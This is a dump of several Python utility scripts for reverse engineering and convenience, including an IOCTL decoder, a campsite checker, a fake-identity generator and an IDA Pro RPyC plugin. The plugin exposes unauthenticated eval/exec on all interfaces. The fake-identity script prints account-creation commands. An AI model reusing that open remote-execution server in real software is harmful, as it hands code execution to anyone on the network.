FILE_DEVICE_ACPI = 0x00000032 55 | FILE_DEVICE_DVD = 0x00000033 56 | FILE_DEVICE_FULLSCREEN_VIDEO = 0x00000034 57 | FILE_DEVICE_DFS_FILE_SYSTEM = 0x00000035 58 | FILE_DEVICE_DFS_VOLUME = 0x00000036 59 | FILE_DEVICE_SERENUM = 0x00000037 60 | FILE_DEVICE_TERMSRV = 0x00000038 61 | FILE_DEVICE_KSEC = 0x00000039 62 | FILE_DEVICE_FIPS = 0x0000003A 63 | FILE_DEVICE_INFINIBAND = 0x0000003B 64 | FILE_DEVICE_VMBUS = 0x0000003E 65 | FILE_DEVICE_CRYPT_PROVIDER = 0x0000003F 66 | FILE_DEVICE_WPD = 0x00000040 67 | FILE_DEVICE_BLUETOOTH = 0x00000041 68 | FILE_DEVICE_MT_COMPOSITE = 0x00000042 69 | FILE_DEVICE_MT_TRANSPORT = 0x00000043 70 | FILE_DEVICE_BIOMETRIC = 0x00000044 71 | FILE_DEVICE_PMI = 0x00000045 72 | FILE_DEVICE_EHSTOR = 0x00000046 73 | FILE_DEVICE_DEVAPI = 0x00000047 74 | FILE_DEVICE_GPIO = 0x00000048 75 | FILE_DEVICE_USBEX = 0x00000049 76 | FILE_DEVICE_CONSOLE = 0x00000050 77 | FILE_DEVICE_NFP = 0x00000051 78 | FILE_DEVICE_SYSENV = 0x00000052 79 | FILE_DEVICE_VIRTUAL_BLOCK = 0x00000053 80 | FILE_DEVICE_POINT_OF_SERVICE = 0x00000054 81 | FILE_DEVICE_STORAGE_REPLICATION = 0x00000055 82 | FILE_DEVICE_TRUST_ENV = 0x00000056 83 | FILE_DEVICE_UCM = 0x00000057 84 | FILE_DEVICE_UCMTCPCI = 0x00000058 85 | FILE_DEVICE_PERSISTENT_MEMORY = 0x00000059 86 | FILE_DEVICE_NVDIMM = 0x0000005a 87 | FILE_DEVICE_HOLOGRAPHIC = 0x0000005b 88 | FILE_DEVICE_SDFXHCI = 0x0000005c 89 | FILE_DEVICE_UCMUCSI = 0x0000005d 90 | FILE_DEVICE_PRM = 0x0000005e 91 | FILE_DEVICE_EVENT_COLLECTOR = 0x0000005f 92 | FILE_DEVICE_USB4 = 0x00000060 93 | FILE_DEVICE_SOUNDWIRE = 0x00000061 94 | 95 | def __str__(self) -> str: 96 | return f"{self.name} ({self.value:#x})" 97 | 98 | class IrpMethod(enum.IntEnum): 99 | METHOD_BUFFERED = 0 100 | METHOD_IN_DIRECT = 1 101 | METHOD_OUT_DIRECT = 2 102 | METHOD_NEITHER = 3 103 | 104 | def __str__(self) -> str: 105 | return f"{self.name} ({self.value:#x})" 106 | 107 | class IrpAccess(enum.IntEnum): 108 | FILE_ANY_ACCESS = 0 109 | FILE_READ_ACCESS = 1 110 | FILE_WRITE_ACCESS = 2 111 | 112 | def __str__(self) -> str: 113 | return f"{self.name} ({self.value:#x})" 114 | 115 | def decode_ioctl(ioctl_code: int) -> tuple[IrpDeviceType, int, IrpMethod, IrpAccess]: 116 | device_type = IrpDeviceType(ioctl_code >> 16) 117 | access = IrpAccess((ioctl_code >> 14) & 3) 118 | function = (ioctl_code >> 2) & 0xFFF 119 | method = IrpMethod(ioctl_code & 3) 120 | return device_type, function, method, access 121 | 122 | if __name__ == "__main__": 123 | import sys 124 | code = int(sys.argv[1], 0) 125 | device_type, function, access, method = decode_ioctl(code) 126 | print(f"CTL_CODE(\n DeviceType={device_type},\n Access={access},\n Method={method},\n Function={function:#x}\n)") 127 | -------------------------------------------------------------------------------- /bc_camping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import datetime 5 | import requests 6 | import sys 7 | import threading 8 | 9 | 10 | __author__ = "@_hugsy_" 11 | __version__ = 0.1 12 | __licence__ = "WTFPL v.2" 13 | __file__ = "bc_camping.py" 14 | __desc__ = "Checks the availability of camping spots in BC" 15 | __usage__ = """{3} v{0}\nby {2} under {1}\nsyntax: {3} [options] args""".format(__version__, __licence__, __author__, __file__) 16 | 17 | 18 | MAX_LOCATION_ID = 160 19 | 20 | 21 | def get_data(location_id: int, start_date: datetime.datetime, number_of_nights: int) -> requests.Response: 22 | url = "https://bccrdr.usedirect.com/rdr/rdr/search/place" 23 | data = { 24 | "PlaceId": location_id, 25 | "Latitude": 0, 26 | "Longitude": 0, 27 | "HighlightedPlaceId": location_id, 28 | "StartDate": start_date.strftime("%Y-%m-%d"), 29 | "Nights": number_of_nights, 30 | "CountNearby": False, 31 | "NearbyLimit": 0, 32 | "NearbyOnlyAvailable": False, 33 | "NearbyCountLimit": 0, 34 | "Sort": 'Distance', 35 | "CustomerId": 0, 36 | "RefreshFavourites": True, 37 | "IsADA": False, 38 | "UnitCategoryId": 2, 39 | "SleepingUnitId": 10, 40 | "MinVehicleLength": 0, 41 | "UnitTypesGroupIds": [], 42 | } 43 | h = requests.post( 44 | url, 45 | json=data, 46 | headers={ 47 | "accept": "application/json, text/javascript, */*; q=0.01", 48 | "content-type": "application/json", 49 | "X-Requested-With": "XMLHttpRequest", 50 | "DNT": "1", 51 | "Upgrade-Insecure-Requests": "1", 52 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Edg/83.0.478.37", 53 | } 54 | ) 55 | 56 | if h.status_code != requests.codes.ok: 57 | raise RuntimeError(f"Unexpected code HTTP/{h.status_code}") 58 | 59 | js = h.json() 60 | if not js: 61 | raise RuntimeError(f"Unexpected response") 62 | 63 | if js['SelectedPlaceId'] == 0: 64 | raise KeyError('invalid location_id') 65 | 66 | return js 67 | 68 | 69 | def print_availability_for_location_and_dates(location_id: int, start_date: datetime.datetime, number_of_nights: int) -> None: 70 | js = get_data(location_id, start_date, number_of_nights) 71 | if not js['SelectedPlace']['Available']: 72 | if args.verbose > 2: 73 | print(f"No spot available for '{js['SelectedPlace']['Name']}'") 74 | return 75 | 76 | for facility_index in js['SelectedPlace']['Facilities']: 77 | facility = js['SelectedPlace']['Facilities'][facility_index] 78 | if facility['Available']: 79 | for unit_type_index in facility['UnitTypes']: 80 | unit_type = facility['UnitTypes'][unit_type_index] 81 | if unit_type['Available'] and not unit_type['AvailableFiltered'] and unit_type['AvailableCount'] > 0: 82 | print(f"{unit_type['AvailableCount']} '{unit_type['Name']}' spot{'s' if unit_type['AvailableCount'] > 1 else ''} ({facility['Name']}) available at '{js['SelectedPlace']['Name']}'") 83 | 84 | 85 | def thread_run(i:int , start_date: datetime.datetime, number_of_nights: int): 86 | try: 87 | print_availability_for_location_and_dates(i, start_date, number_of_nights) 88 | except: 89 | pass 90 | return 91 | 92 | 93 | if __name__ == "__main__": 94 | parser = argparse.ArgumentParser(usage = __usage__, description = __desc__, prog = __file__) 95 | 96 | parser.add_argument("-n", "--number-night", type=int, default=2, dest="number_of_nights", 97 | help="Specify the number of nights to camp") 98 | parser.add_argument("-l", "--location", type=int, default=100, 99 | help="Specify the location ID") 100 | parser.add_argument("-v", "--verbose", action="count", dest="verbose", 101 | help="Increments verbosity") 102 | parser.add_argument("-t", "--threads", dest="threads", type=int, metavar="N", 103 | default=20, help="Specify number of threads to use") 104 | parser.add_argument("start_date", type=lambda x: datetime.datetime.strptime(x, '%Y/%m/%d'), 105 | metavar="YYYY/MM/DD", help="Specify the start date") 106 | args = parser.parse_args() 107 | 108 | 109 | thread_pool = [] 110 | i = 0 111 | 112 | if args.verbose: 113 | print(f"Lookup for available spot for {args.number_of_nights} from {args.start_date.strftime('%Y/%m/%d')} using {args.threads} threads") 114 | 115 | while True: 116 | for j in range(1, args.threads): 117 | if i >= MAX_LOCATION_ID: 118 | break 119 | t = threading.Thread(target=thread_run, args=(i, args.start_date, args.number_of_nights)) 120 | t.daemon = True 121 | thread_pool.append(t) 122 | t.start() 123 | i += 1 124 | 125 | for t in thread_pool: 126 | t.join() 127 | 128 | thread_pool.clear() 129 | 130 | if i >= MAX_LOCATION_ID: 131 | break 132 | 133 | sys.exit(0) -------------------------------------------------------------------------------- /vergilius.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import argparse 3 | import bs4 4 | import requests 5 | 6 | # 7 | # Change here if you have your mirror of vergilius 8 | # 9 | BASE = "https://www.vergiliusproject.com" 10 | 11 | 12 | def dump_structure(structure_name: str, arch: str, os: str, release: str) -> str: 13 | """_summary_ 14 | 15 | Args: 16 | struct (str): _description_ 17 | arch (str): _description_ 18 | os (str): _description_ 19 | release (str): _description_ 20 | 21 | Returns: 22 | str: _description_ 23 | """ 24 | 25 | structure_name = structure_name.upper() 26 | 27 | url = f"{BASE}/kernels/{arch}/{os}/{release}/{structure_name}" 28 | h = requests.get(url, timeout=60) 29 | assert h.status_code == 200, f"Received HTTP {h.status_code}, expected 200" 30 | 31 | soup = bs4.BeautifulSoup(h.text, "html.parser") 32 | code = soup.find_all("div", id="copyblock") 33 | assert len(code) == 1 34 | return code[0].text 35 | 36 | 37 | if __name__ == "__main__": 38 | conf: dict[str, dict[str, list[str]]] = { 39 | "x64": { 40 | "Windows XP | 2003": [ 41 | "SP2", 42 | ], 43 | "Windows Vista | 2008": [ 44 | "SP2", 45 | "SP1", 46 | "RTM", 47 | ], 48 | "Windows 7 | 2008R2": [ 49 | "SP1", 50 | "RTM", 51 | ], 52 | "Windows 8 | 2012": [ 53 | "RTM", 54 | ], 55 | "Windows 8.1 | 2012R2": [ 56 | "Update 1", 57 | "RTM", 58 | ], 59 | "Windows 10 | 2016": [ 60 | "2210 22H2 (May 2023 Update)", 61 | "2110 21H2 (November 2021 Update)", 62 | "2104 21H1 (May 2021 Update)", 63 | "2009 20H2 (October 2020 Update)", 64 | "2004 20H1 (May 2020 Update)", 65 | "1909 19H2 (November 2019 Update)", 66 | "1903 19H1 (May 2019 Update)", 67 | "1809 Redstone 5 (October Update)", 68 | "1803 Redstone 4 (Spring Creators Update)", 69 | "1709 Redstone 3 (Fall Creators Update)", 70 | "1703 Redstone 2 (Creators Update)", 71 | "1607 Redstone 1 (Anniversary Update)", 72 | "1511 Threshold 2", 73 | "1507 Threshold 1", 74 | ], 75 | "Windows 11": [ 76 | "22H2 (2022 Update)", 77 | "21H2 (RTM)", 78 | "Insider Preview (Jun 2021)", 79 | ], 80 | }, 81 | "x86": { 82 | "Windows XP": [ 83 | "SP3", 84 | ], 85 | "Windows 2003": [ 86 | "SP2", 87 | ], 88 | "Windows Vista | 2008": [ 89 | "SP2", 90 | "SP1", 91 | "RTM", 92 | ], 93 | "Windows 7": [ 94 | "SP1", 95 | "RTM", 96 | ], 97 | "Windows 8": [ 98 | "RTM", 99 | ], 100 | "Windows 8.1": [ 101 | "Update 1", 102 | "RTM", 103 | ], 104 | "Windows 10": [ 105 | "Windows 10 2210 22H2 (May 2023 Update)", 106 | "Windows 10 2110 21H2 (November 2021 Update)", 107 | "Windows 10 2104 21H1 (May 2021 Update)", 108 | "Windows 10 2009 20H2 (October 2020 Update)", 109 | "Windows 10 2004 20H1 (May 2020 Update)", 110 | "Windows 10 1909 19H2 (November 2019 Update)", 111 | "Windows 10 1903 19H1 (May 2019 Update)", 112 | "Windows 10 1809 Redstone 5 (October Update)", 113 | "Windows 10 1803 Redstone 4 (Spring Creators Update)", 114 | "Windows 10 1709 Redstone 3 (Fall Creators Update)", 115 | "Windows 10 1703 Redstone 2 (Creators Update)", 116 | "Windows 10 1607 Redstone 1 (Anniversary Update)", 117 | "Windows 10 1511 Threshold 2", 118 | "Windows 10 1507 Threshold 1", 119 | ], 120 | }, 121 | } 122 | 123 | parser = argparse.ArgumentParser("vergilius.py") 124 | parser.add_argument("--arch", type=str, default="x64") 125 | parser.add_argument("--os", type=str, default="Windows 11") 126 | parser.add_argument("--release", type=str, default="22H2 (2022 Update)") 127 | parser.add_argument("--debug", action="store_true") 128 | parser.add_argument("structs", action="append", nargs="+") 129 | args = parser.parse_args() 130 | 131 | assert args.arch in conf, f"Invalid option {args.arch}" 132 | assert args.os in conf[args.arch], f"Invalid option {args.os} for {args.arch}" 133 | assert ( 134 | args.release in conf[args.arch][args.os] 135 | ), f"Invalid option {args.release} for {args.arch}/{args.os}" 136 | 137 | if args.debug: 138 | logging.getLogger().setLevel(logging.DEBUG) 139 | else: 140 | logging.getLogger().setLevel(logging.INFO) 141 | 142 | for struct in args.structs[0]: 143 | logging.debug( 144 | f"Looking for {struct=}, {args.arch=}, {args.os=}, {args.release=}" 145 | ) 146 | _code = dump_structure(struct, args.arch, args.os, args.release) 147 | print(_code) 148 | -------------------------------------------------------------------------------- /fakeid.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import argparse 4 | import sys 5 | import time 6 | 7 | import requests 8 | import bs4 9 | 10 | 11 | __author__ = "hugsy" 12 | __version__ = 0.2 13 | __licence__ = "WTFPL v.2" 14 | __file__ = "fakeid.py" 15 | __desc__ = """fakeid.py: generates fake people profile""" 16 | __usage__ = """%prog version {0}, {1} 17 | by {2} 18 | syntax: {0} [options] args 19 | """.format(__version__, __licence__, __author__) 20 | 21 | 22 | RANDOM_ID_URL = "https://www.fakenamegenerator.com/gen-random-us-us.php" 23 | 24 | 25 | class RandomPerson: 26 | 27 | def __init__(self): 28 | text = self.get_page_text() 29 | if text is None: 30 | raise Exception 31 | self.soup = bs4.BeautifulSoup(text, features="html.parser") 32 | d = self.soup.find("div", "address") 33 | self.firstname, self.lastname = d.h3.string.rsplit(" ", 1) 34 | self.address = d.find("div", "adr").text.strip() 35 | self.age = int(self.get_element("Age").text.split()[0]) 36 | self.email_address = self.get_element("Email Address").text.split()[0] 37 | self.birthday = " ".join(self.get_element("Birthday").text.split()[:3]) 38 | self.birthday = time.strftime("%d/%m/%Y", time.strptime(self.birthday, "%B %d, %Y")) 39 | self.username = self.get_element("Username").text 40 | self.password = self.get_element("Password").text 41 | self.website = self.get_element("Website").text 42 | self.occupation = self.get_element("Occupation").text 43 | return 44 | 45 | def get_element(self, name): 46 | return self.soup.find("dt", text=name).next_sibling.next_sibling 47 | 48 | def get_page_text(self): 49 | headers={ 50 | "DNT": "1", 51 | "Upgrade-Insecure-Requests": "1", 52 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Edg/83.0.478.37", 53 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 54 | "accept-language": "en-US,en;q=0.9,fr;q=0.8", 55 | } 56 | h = requests.get(RANDOM_ID_URL, headers=headers) 57 | 58 | if h.status_code != 200: 59 | print(h.status_code) 60 | return None 61 | return h.text 62 | 63 | def __str__(self): 64 | return "%s %s" % (self.firstname, self.lastname) 65 | 66 | def to_txt(self): 67 | buf = "Name: %s" % str(self) 68 | 69 | for attr in dir(self): 70 | if attr.startswith("__"): 71 | continue 72 | a = getattr(self, attr) 73 | if hasattr(a, "__call__"): 74 | continue 75 | 76 | buf+= "%s: %s\n" % (attr.capitalize(), a) 77 | return buf 78 | 79 | def to_csv(self): 80 | buf = "" 81 | for attr in dir(self): 82 | if attr.startswith("__"): 83 | continue 84 | a = getattr(self, attr) 85 | if hasattr(a, "__call__"): 86 | continue 87 | 88 | buf+= "%s; " % a 89 | return buf 90 | 91 | def to_xml(self): 92 | buf = "\n" 93 | 94 | for attr in dir(self): 95 | if attr.startswith("__"): 96 | continue 97 | a = getattr(self, attr) 98 | if hasattr(a, "__call__"): 99 | continue 100 | 101 | buf+= "\t<{0}>{1}\n".format(attr, a) 102 | 103 | buf+= "" 104 | 105 | return buf 106 | 107 | 108 | def as_windows_user(self, ad=None): 109 | fmt = "net user {0} {1} " 110 | fmt+= "/active:yes /comment:\"{2}\" " 111 | fmt+= "/fullname:\"{3}\" /passwordchg:no " 112 | 113 | if ad is not None: 114 | fmt+= "/domain" 115 | 116 | fmt+= " /add" 117 | 118 | return fmt.format (self.firstname[0].lower() + self.lastname.lower(), 119 | self.password, self.occupation, str(self)) 120 | 121 | def as_linux_user(self): 122 | fmt = "adduser -c '{1}' -g users {0} && echo -e \"{2}\\n{2}\" | passwd " 123 | return fmt.format(self.firstname[0].lower() + self.lastname.lower(), 124 | self.occupation, 125 | self.password) 126 | 127 | 128 | if __name__ == "__main__": 129 | 130 | parser = argparse.ArgumentParser(description = __desc__) 131 | 132 | parser.add_argument("-v", "--verbose", default=False, 133 | action="store_true", dest="verbose", 134 | help="increments verbosity") 135 | 136 | parser.add_argument("-n", "--num", default=1, dest="number_person", type=int, 137 | help="number of person to generate") 138 | 139 | parser.add_argument("--output-format", default="text", dest="output_format", 140 | choices=["text", "csv", "xml", "windows", "linux"], 141 | help="specify the output format") 142 | 143 | args = parser.parse_args() 144 | 145 | if args.output_format == "xml": 146 | print("") 147 | elif args.output_format == "csv": 148 | print("address ; age ; birthday ; email ; firstname ; lastname ; occupation ; password ; city ; website ;") 149 | 150 | for i in range(args.number_person): 151 | p = RandomPerson() 152 | 153 | if args.output_format == "text": 154 | print(p.to_txt()) 155 | 156 | elif args.output_format == "xml": 157 | print (p.to_xml()) 158 | 159 | elif args.output_format == "csv": 160 | print(p.to_csv()) 161 | 162 | elif args.output_format == "windows": 163 | print(p.as_windows_user()) 164 | 165 | elif args.output_format == "linux": 166 | print(p.as_linux_user()) 167 | 168 | if args.output_format == "xml": 169 | print("") 170 | -------------------------------------------------------------------------------- /ida_scripts/ida_rpyc_server.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | > "Because IDA sucks" 4 | 5 | 6 | Embed RPyc in IDA to expose IDA's API externally, by a background thread that runs the TCP server. Also in iPython this 7 | provides autocomplete. 8 | 9 | Props to https://github.com/vrtadmin/FIRST-plugin-ida/blob/master/first_plugin_ida/first.py#L87 10 | for the workaround on the threading issue, for IDA Pro >= 7.2 11 | 12 | Quick start 13 | ``` 14 | >>> import rpyc 15 | >>> c = rpyc.connect("ida.rpyc.server", 18812) 16 | # 17 | # IDA namespace will be in `c.root` 18 | # 19 | >>> c.root.idaapi.get_root_filename() 20 | 'ntoskrnl.exe' 21 | >>> hex( c.root.idc.here() ) 22 | 0x140088194 23 | >>> c.root.idaapi.jumpto( 0x1400881EE ) 24 | True 25 | ``` 26 | 27 | For more facility, you can alias it: 28 | ``` 29 | >>> idc = c.root.idc 30 | ``` 31 | 32 | Then, it becomes super readable 33 | ``` 34 | >>> idc.jumpto( idc.get_name_ea_simple("DriverEntry") ) 35 | True 36 | >>> idc.set_cmt( idc.here(), "@hugsy was here", 1) 37 | True 38 | ``` 39 | 40 | For generator objects, you now need to use the wrapper `c.root.iterate()`. 41 | 42 | Example: 43 | ``` 44 | >>> idc = c.root.idc 45 | >>> idautils = c.root.idautils 46 | >>> for ea in c.root.iterate( idautils.Functions() ): 47 | ... print( idc.get_func_name(ea) ) 48 | ``` 49 | 50 | Blame HexRays for making their API more confusing at every release. 51 | 52 | Ref: 53 | - https://www.hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml 54 | 55 | Demo: 56 | - https://youtu.be/obX2GreSsFU 57 | 58 | """ 59 | 60 | import sys 61 | import random 62 | import threading 63 | 64 | import rpyc 65 | import idc 66 | import idaapi 67 | import idautils 68 | import ida_bytes 69 | import ida_funcs 70 | 71 | # exported modules must be imported first 72 | import sys 73 | import os 74 | 75 | PLUGIN_NAME = "RunRpycServer" 76 | PLUGIN_HOTKEY = "Ctrl-Alt-K" 77 | PLUGIN_VERSION = "0.2" 78 | PLUGIN_AUTHOR = "@_hugsy_" 79 | 80 | HOST, PORT = "0.0.0.0", 18812 81 | DEBUG = False 82 | MAX_RUNNING_INSTANCES = 10 if not DEBUG else 1 83 | 84 | EXPOSED_MODULES = [idaapi, idc, idautils, os, sys] 85 | 86 | def xlog(x): 87 | sys.stderr.write("{} - {}\n".format(threading.current_thread().name, x)) and sys.stderr.flush() 88 | 89 | def err(msg): 90 | xlog("[!] {}".format(msg,)) 91 | 92 | def ok(msg): 93 | xlog("[+] {}".format(msg,)) 94 | 95 | def dbg(msg): 96 | if DEBUG: 97 | xlog("[*] {}".format(msg,)) 98 | 99 | 100 | 101 | class IdaWrapper: 102 | def __getattribute__(self, name): 103 | default = "IDoNotExistButNoReallyISeriouslyDoNotAndCannotExist" 104 | 105 | dbg("trying to get {}".format(name,)) 106 | 107 | if name.startswith("exposed_"): 108 | name = name.replace("exposed_", "") 109 | dbg("changed to get {}".format(name,)) 110 | 111 | for mod in EXPOSED_MODULES: 112 | val = getattr(mod, name, default) 113 | if val != default: 114 | break 115 | 116 | if val == default: 117 | raise AttributeError("unknown {}".format(name,)) 118 | 119 | if hasattr(val, '__call__'): 120 | dbg("{} is callable".format(val,)) 121 | def call(*args, **kwargs): 122 | holder = [None] # need a holder, because 'global' sucks 123 | 124 | def trampoline(): 125 | holder[0] = val(*args, **kwargs) 126 | return 1 127 | 128 | idaapi.execute_sync(trampoline, idaapi.MFF_WRITE) 129 | return holder[0] 130 | return call 131 | else: 132 | return val 133 | 134 | 135 | 136 | g_IdaWrapper = IdaWrapper() 137 | 138 | 139 | class IdaRpycService(rpyc.Service): 140 | ALIASES = ["ida", ] 141 | 142 | 143 | def on_connect(self, conn): 144 | ok("connect open: {}".format(conn,)) 145 | for mod in EXPOSED_MODULES: 146 | setattr(self, "exposed_{}".format(mod.__name__), g_IdaWrapper) 147 | return 148 | 149 | 150 | def on_disconnect(self, conn): 151 | ok("connection closed: {}".format(conn,)) 152 | return 153 | 154 | 155 | def exposed_eval(self, cmd): 156 | return eval(cmd) 157 | 158 | 159 | def exposed_exec(self, cmd): 160 | return exec(cmd) 161 | 162 | 163 | def exposed_iterate(self, iterator): 164 | default = "IDoNotExistButNoReallyISeriouslyDoNotAndCannotExist {}".format(random.randint(0, 65535),) 165 | holder = [default] 166 | def trampoline(): 167 | try: 168 | holder[0] = next(iterator) 169 | except StopIteration: 170 | holder[0] = default 171 | return 1 172 | while True: 173 | idaapi.execute_sync(trampoline, idaapi.MFF_WRITE) 174 | if holder[0] == default: 175 | return 176 | yield holder[0] 177 | 178 | 179 | 180 | g_IdaServer = IdaRpycService() 181 | 182 | 183 | 184 | def start(): 185 | global g_IdaServer 186 | srv = None 187 | port = -1 188 | for i in range(MAX_RUNNING_INSTANCES): 189 | port = PORT + i 190 | try: 191 | srv = rpyc.utils.server.OneShotServer(g_IdaServer, hostname=HOST, port=port) if DEBUG \ 192 | else rpyc.utils.server.ThreadedServer(g_IdaServer, hostname=HOST, port=port) 193 | if not DEBUG and not srv: 194 | continue 195 | break 196 | except OSError: 197 | srv = None 198 | 199 | if not srv: 200 | err("failed to start server...") 201 | return 202 | 203 | ok(f"service listening on {HOST}:{port}...") 204 | srv.start() 205 | srv.close() 206 | ok("server closed") 207 | return 208 | 209 | 210 | t = None 211 | 212 | def main(): 213 | global t 214 | if t is not None: 215 | err("thread is already running as {}".format(t)) 216 | return 217 | 218 | t = threading.Thread(target=start) 219 | t.daemon = True 220 | t.start() 221 | 222 | 223 | class dummy(idaapi.plugin_t): 224 | wanted_name = PLUGIN_NAME 225 | wanted_hotkey = "" 226 | flags = idaapi.PLUGIN_UNL 227 | comment = "" 228 | help = "" 229 | 230 | def init(self): return idaapi.PLUGIN_OK 231 | def run(self, arg): pass 232 | def term(self): pass 233 | 234 | 235 | def PLUGIN_ENTRY(): 236 | main() 237 | return dummy() 238 | 239 | 240 | if __name__ == "__main__": 241 | PLUGIN_ENTRY() 242 | -------------------------------------------------------------------------------- /IdaAutoAnalyze.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | Batch run IDA 4 | 5 | Requires: 6 | - python-magic 7 | - python-magic-bin (WIN) 8 | 9 | """ 10 | 11 | from __future__ import print_function 12 | 13 | import configparser 14 | import glob 15 | import hashlib 16 | import os 17 | import shutil 18 | import subprocess 19 | import sys 20 | import tempfile 21 | import datetime 22 | 23 | import magic 24 | 25 | HOMEDIR = os.sep.join([os.environ["HOMEDRIVE"], os.environ["HOMEPATH"]]) 26 | TEMPDIR = os.environ["TEMP"] 27 | cfg = configparser.ConfigParser( 28 | defaults={"HOME": HOMEDIR, "TEMP": TEMPDIR}, 29 | allow_no_value=True 30 | ) 31 | cfg.read(os.sep.join([HOMEDIR, "IdaAutoAnalyze.cfg"])) 32 | 33 | IDA_BIN = "ida.exe" 34 | IDA64_BIN = "ida64.exe" 35 | IDA_PATH = cfg.get("IDA", "ida_path") 36 | IDB_PATH = cfg.get("IDA", "idb_path") 37 | LOG_FILE = cfg.get("IDA", "log_file") or ".\\IdaAutoAnalyze.log" 38 | 39 | 40 | def log(x): 41 | with open(LOG_FILE, "a+") as f: 42 | now = datetime.datetime.now() 43 | msg = "{:s} {:s}".format(now.strftime("%F"), x) 44 | print(msg) 45 | f.write(msg + os.linesep) 46 | return 47 | 48 | 49 | def run_ida(ida_exe_path, source_file, idb_file, log_file): 50 | """ 51 | Run IDA headlessly on the source file, and execute the scripts. 52 | Refs: 53 | - https://www.hex-rays.com/products/ida/support/idadoc/417.shtml 54 | """ 55 | 56 | # ida in batch mode 57 | cmd = [ 58 | ida_exe_path, 59 | "-A", 60 | "-B", 61 | "-c", 62 | #'-o"{}"'.format(idb_file), 63 | #'-L"{}"'.format(log_file), 64 | source_file 65 | ] 66 | log("[+] Running '%s'" % cmd) 67 | res = subprocess.call(cmd) 68 | return res 69 | 70 | 71 | def run_ida_scripts_on_idb(ida_exe_path, idb_file): 72 | """ 73 | Executes scripts on the IDB file 74 | """ 75 | idb_file_name, idb_file_ext = os.path.splitext( idb_file ) 76 | external_scripts = cfg.get("Scripts", "scripts").splitlines() 77 | 78 | os.environ["DIAPHORA_AUTO"] = "1" 79 | os.environ["DIAPHORA_EXPORT_FILE"] = ".".join([idb_file_name, "sqlite"]) 80 | 81 | # ida in batch mode 82 | cmd = [ida_exe_path, "-B"] 83 | 84 | # add the scripts 85 | for script_path in external_scripts: 86 | cmd.append('-S"{}"'.format(script_path)) 87 | 88 | cmd.append(idb_file) 89 | 90 | return subprocess.call(cmd) 91 | 92 | 93 | def cleanup(): 94 | """ 95 | Cleanup symbols downloaded by IDA 96 | """ 97 | try: 98 | fname = os.sep.join([IDB_PATH, "pingme.txt"]) 99 | os.unlink(fname) 100 | log("deleted '{}'".format(fname)) 101 | except: 102 | pass 103 | 104 | for f in glob.glob(os.sep.join([IDB_PATH, "*.asm"])): 105 | try: 106 | os.unlink(f) 107 | log("deleted '{}'".format(f)) 108 | except: 109 | pass 110 | 111 | for d in glob.glob(os.sep.join([IDB_PATH, "*.pdb"])): 112 | shutil.rmtree(d) 113 | log("deleted '{}'".format(d)) 114 | 115 | return 0 116 | 117 | 118 | def guess_ida_from_file(src): 119 | try: 120 | if "x86-64" in magic.from_file(src): 121 | return os.sep.join([IDA_PATH, IDA64_BIN]) 122 | except: 123 | pass 124 | return os.sep.join([IDA_PATH, IDA_BIN]) 125 | 126 | 127 | def rename_idb_with_hash(source_file, idb_file): 128 | idb_file_name, idb_file_ext = os.path.splitext( idb_file ) 129 | digest = hashlib.md5( open(source_file, "rb").read() ).hexdigest() 130 | new_idb_file_name = "".join([idb_file_name, "-", digest, idb_file_ext]) 131 | try: 132 | os.rename(idb_file, new_idb_file_name) 133 | except Exception as e: 134 | log("[-] Got exception when renaming: {}'".format(str(e))) 135 | return None 136 | return new_idb_file_name 137 | 138 | 139 | def generate_idb_filename(source_file, is_ida64): 140 | """ 141 | Generates IDB full path (\path\source_filename.(ida,i64)) 142 | @param `source_file` is the file in the IDB_PATH directory 143 | @param `is_ida64` 144 | @return a tuple with (idb_fullpath, log_fullpath) 145 | """ 146 | source_file_basename = source_file #os.path.basename(source_file) 147 | target_ext = "i64" if is_ida64 else "idb" 148 | target_file_path = ".".join([source_file_basename, target_ext]) 149 | target_log_path = ".".join([source_file_basename, "log"]) 150 | return (target_file_path, target_log_path) 151 | 152 | 153 | def auto_analyze_file(source_file): 154 | ida = guess_ida_from_file(source_file).lower() 155 | 156 | if not os.access(ida, os.R_OK): 157 | log("[-] Invalid IDA path: {}".format(ida)) 158 | return 1 159 | 160 | # copy the source file to writable location 161 | shutil.copy(source_file, IDB_PATH) 162 | source_file = os.sep.join([IDB_PATH, os.path.basename(source_file)]) 163 | if not os.access(source_file, os.R_OK): 164 | log("[-] Failed to copy '{}'".format(source_file)) 165 | return 1 166 | 167 | if ida.endswith("ida64.exe"): 168 | log("[+] Using IDA64 ('{}')...".format(ida)) 169 | idb_filepath, log_filepath = generate_idb_filename(source_file, True) 170 | else: 171 | log("[+] Using IDA ('{}')...".format(ida)) 172 | idb_filepath, log_filepath = generate_idb_filename(source_file, False) 173 | 174 | res = run_ida(ida, source_file, idb_filepath, log_filepath) 175 | if res != 0: 176 | log("[-] IDA execution failed: retcode={}, check logs in '{}'".format(res, log_filepath)) 177 | return 1 178 | 179 | idb_filepath = rename_idb_with_hash(source_file, idb_filepath) 180 | if idb_filepath is None: 181 | return 1 182 | 183 | log("[+] IDB created as '{}'...".format(idb_filepath)) 184 | 185 | # cleanup 186 | os.unlink(source_file) 187 | os.unlink(log_filepath) 188 | cleanup() 189 | 190 | # scripts 191 | log("[+] running extra script(s) on '{}'...".format(idb_filepath)) 192 | run_ida_scripts_on_idb(ida, idb_filepath) 193 | 194 | return 0 195 | 196 | 197 | if __name__ == "__main__": 198 | if len(sys.argv) < 2: 199 | sys.exit(1) 200 | 201 | res = auto_analyze_file(sys.argv[1]) 202 | log("{:s} returned {:d}".format(sys.argv[0], res)) 203 | sys.exit(res) 204 | -------------------------------------------------------------------------------- /ida_scripts/WinIoCtlDecoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """Decodes a given 32-Bit Windows Device I/O control code 3 